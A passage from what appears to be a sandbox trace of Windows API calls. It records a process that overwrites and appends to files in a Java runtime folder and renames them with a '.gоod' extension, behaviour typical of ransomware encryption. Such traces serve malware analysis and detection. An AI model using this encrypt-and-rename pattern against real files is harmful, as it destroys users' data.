Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), fInfoLevelId=0x0, lpFileInformation=0x31ada48 | out: lpFileInformation=0x31ada48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd)) returned 1 [0070.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0070.555] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.555] GetFileType (hFile=0x760) returned 0x1 [0070.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.555] GetFileType (hFile=0x760) returned 0x1 [0070.555] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49d058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49d058*=0) returned 0x1000 [0070.555] ReadFile (in: hFile=0x760, lpBuffer=0x318e4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49d028, lpOverlapped=0x0 | out: lpBuffer=0x318e4d8*, lpNumberOfBytesRead=0x1f49d028*=0x1000, lpOverlapped=0x0) returned 1 [0070.557] CloseHandle (hObject=0x760) returned 1 [0070.557] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.557] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.557] GetFileType (hFile=0x760) returned 0x1 [0070.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.558] GetFileType (hFile=0x760) returned 0x1 [0070.558] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49d058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49d058*=0) returned 0xf9bd [0070.558] WriteFile (in: hFile=0x760, lpBuffer=0x318f798*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49cf48, lpOverlapped=0x0 | out: lpBuffer=0x318f798*, lpNumberOfBytesWritten=0x1f49cf48*=0x10, lpOverlapped=0x0) returned 1 [0070.561] CloseHandle (hObject=0x760) returned 1 [0070.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.564] GetFileType (hFile=0x760) returned 0x1 [0070.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.564] GetFileType (hFile=0x760) returned 0x1 [0070.564] ReadFile (in: hFile=0x760, lpBuffer=0x3191a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cfd8, lpOverlapped=0x0 | out: lpBuffer=0x3191a80*, lpNumberOfBytesRead=0x1f49cfd8*=0x1000, lpOverlapped=0x0) returned 1 [0070.760] CloseHandle (hObject=0x760) returned 1 [0070.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.761] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.761] GetFileType (hFile=0x760) returned 0x1 [0070.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.761] GetFileType (hFile=0x760) returned 0x1 [0070.761] WriteFile (in: hFile=0x760, lpBuffer=0x31907b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49d088, lpOverlapped=0x0 | out: lpBuffer=0x31907b0*, lpNumberOfBytesWritten=0x1f49d088*=0x1010, lpOverlapped=0x0) returned 1 [0070.761] CloseHandle (hObject=0x760) returned 1 [0070.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.gоod", lpFilePart=0x0) returned 0x4a [0070.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0070.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x266488b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf9cd)) returned 1 [0070.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0070.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.gоod")) returned 1 [0070.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0070.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0070.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), fInfoLevelId=0x0, lpFileInformation=0x3350180 | out: lpFileInformation=0x3350180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c)) returned 1 [0070.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0070.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0070.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.764] GetFileType (hFile=0x760) returned 0x1 [0070.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.764] GetFileType (hFile=0x760) returned 0x1 [0070.764] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49d058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49d058*=0) returned 0x1000 [0070.764] ReadFile (in: hFile=0x760, lpBuffer=0x33505a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49d028, lpOverlapped=0x0 | out: lpBuffer=0x33505a8*, lpNumberOfBytesRead=0x1f49d028*=0x1000, lpOverlapped=0x0) returned 1 [0070.766] CloseHandle (hObject=0x760) returned 1 [0070.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0070.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.766] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.766] GetFileType (hFile=0x760) returned 0x1 [0070.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.766] GetFileType (hFile=0x760) returned 0x1 [0070.766] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49d058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49d058*=0) returned 0x2371c [0070.766] WriteFile (in: hFile=0x760, lpBuffer=0x3351848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49cf48, lpOverlapped=0x0 | out: lpBuffer=0x3351848*, lpNumberOfBytesWritten=0x1f49cf48*=0x10, lpOverlapped=0x0) returned 1 [0070.767] CloseHandle (hObject=0x760) returned 1 [0070.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0070.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0070.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.771] GetFileType (hFile=0x760) returned 0x1 [0070.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0070.771] GetFileType (hFile=0x760) returned 0x1 [0070.771] ReadFile (in: hFile=0x760, lpBuffer=0x3353b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cfd8, lpOverlapped=0x0 | out: lpBuffer=0x3353b10*, lpNumberOfBytesRead=0x1f49cfd8*=0x1000, lpOverlapped=0x0) returned 1 [0070.804] CloseHandle (hObject=0x760) returned 1 [0071.050] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49c9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0071.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cf00) returned 1 [0071.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.051] GetFileType (hFile=0x760) returned 0x1 [0071.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce70) returned 1 [0071.051] GetFileType (hFile=0x760) returned 0x1 [0071.051] WriteFile (in: hFile=0x760, lpBuffer=0x3352860*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49d088, lpOverlapped=0x0 | out: lpBuffer=0x3352860*, lpNumberOfBytesWritten=0x1f49d088*=0x1010, lpOverlapped=0x0) returned 1 [0071.052] CloseHandle (hObject=0x760) returned 1 [0071.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x0) returned 0x3e [0071.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.gоod", lpFilePart=0x0) returned 0x43 [0071.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0071.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2691f37e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2372c)) returned 1 [0071.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0071.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.gоod")) returned 1 [0071.058] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", lpFilePart=0x0) returned 0x2f [0071.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0071.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), fInfoLevelId=0x0, lpFileInformation=0x3538810 | out: lpFileInformation=0x3538810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb)) returned 1 [0071.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0071.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", lpFilePart=0x0) returned 0x2f [0071.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0071.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.059] GetFileType (hFile=0x760) returned 0x1 [0071.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0071.059] GetFileType (hFile=0x760) returned 0x1 [0071.059] GetFileSize (in: hFile=0x760, lpFileSizeHigh=0x1f49d058 | out: lpFileSizeHigh=0x1f49d058*=0x0) returned 0x3bb [0071.059] ReadFile (in: hFile=0x760, lpBuffer=0x3538e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cf88, lpOverlapped=0x0 | out: lpBuffer=0x3538e18*, lpNumberOfBytesRead=0x1f49cf88*=0x3bb, lpOverlapped=0x0) returned 1 [0071.061] CloseHandle (hObject=0x760) returned 1 [0071.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", lpFilePart=0x0) returned 0x2f [0071.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0071.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.268] GetFileType (hFile=0x6b0) returned 0x1 [0071.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0071.268] GetFileType (hFile=0x6b0) returned 0x1 [0071.268] WriteFile (in: hFile=0x6b0, lpBuffer=0x31bd348*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1f49ce98, lpOverlapped=0x0 | out: lpBuffer=0x31bd348*, lpNumberOfBytesWritten=0x1f49ce98*=0x3c0, lpOverlapped=0x0) returned 1 [0071.269] CloseHandle (hObject=0x6b0) returned 1 [0071.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", lpFilePart=0x0) returned 0x2f [0071.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.gоod", lpFilePart=0x0) returned 0x34 [0071.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0071.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x26b0d3e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1 [0071.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0071.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.gоod")) returned 1 [0071.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c820) returned 1 [0071.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin", nBufferLength=0x105, lpBuffer=0x1f49c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin", lpFilePart=0x0) returned 0x26 [0071.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x1f49c540 | out: lpFindFileData=0x1f49c540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0071.272] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.273] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0071.273] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0071.273] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0071.273] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0071.274] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, 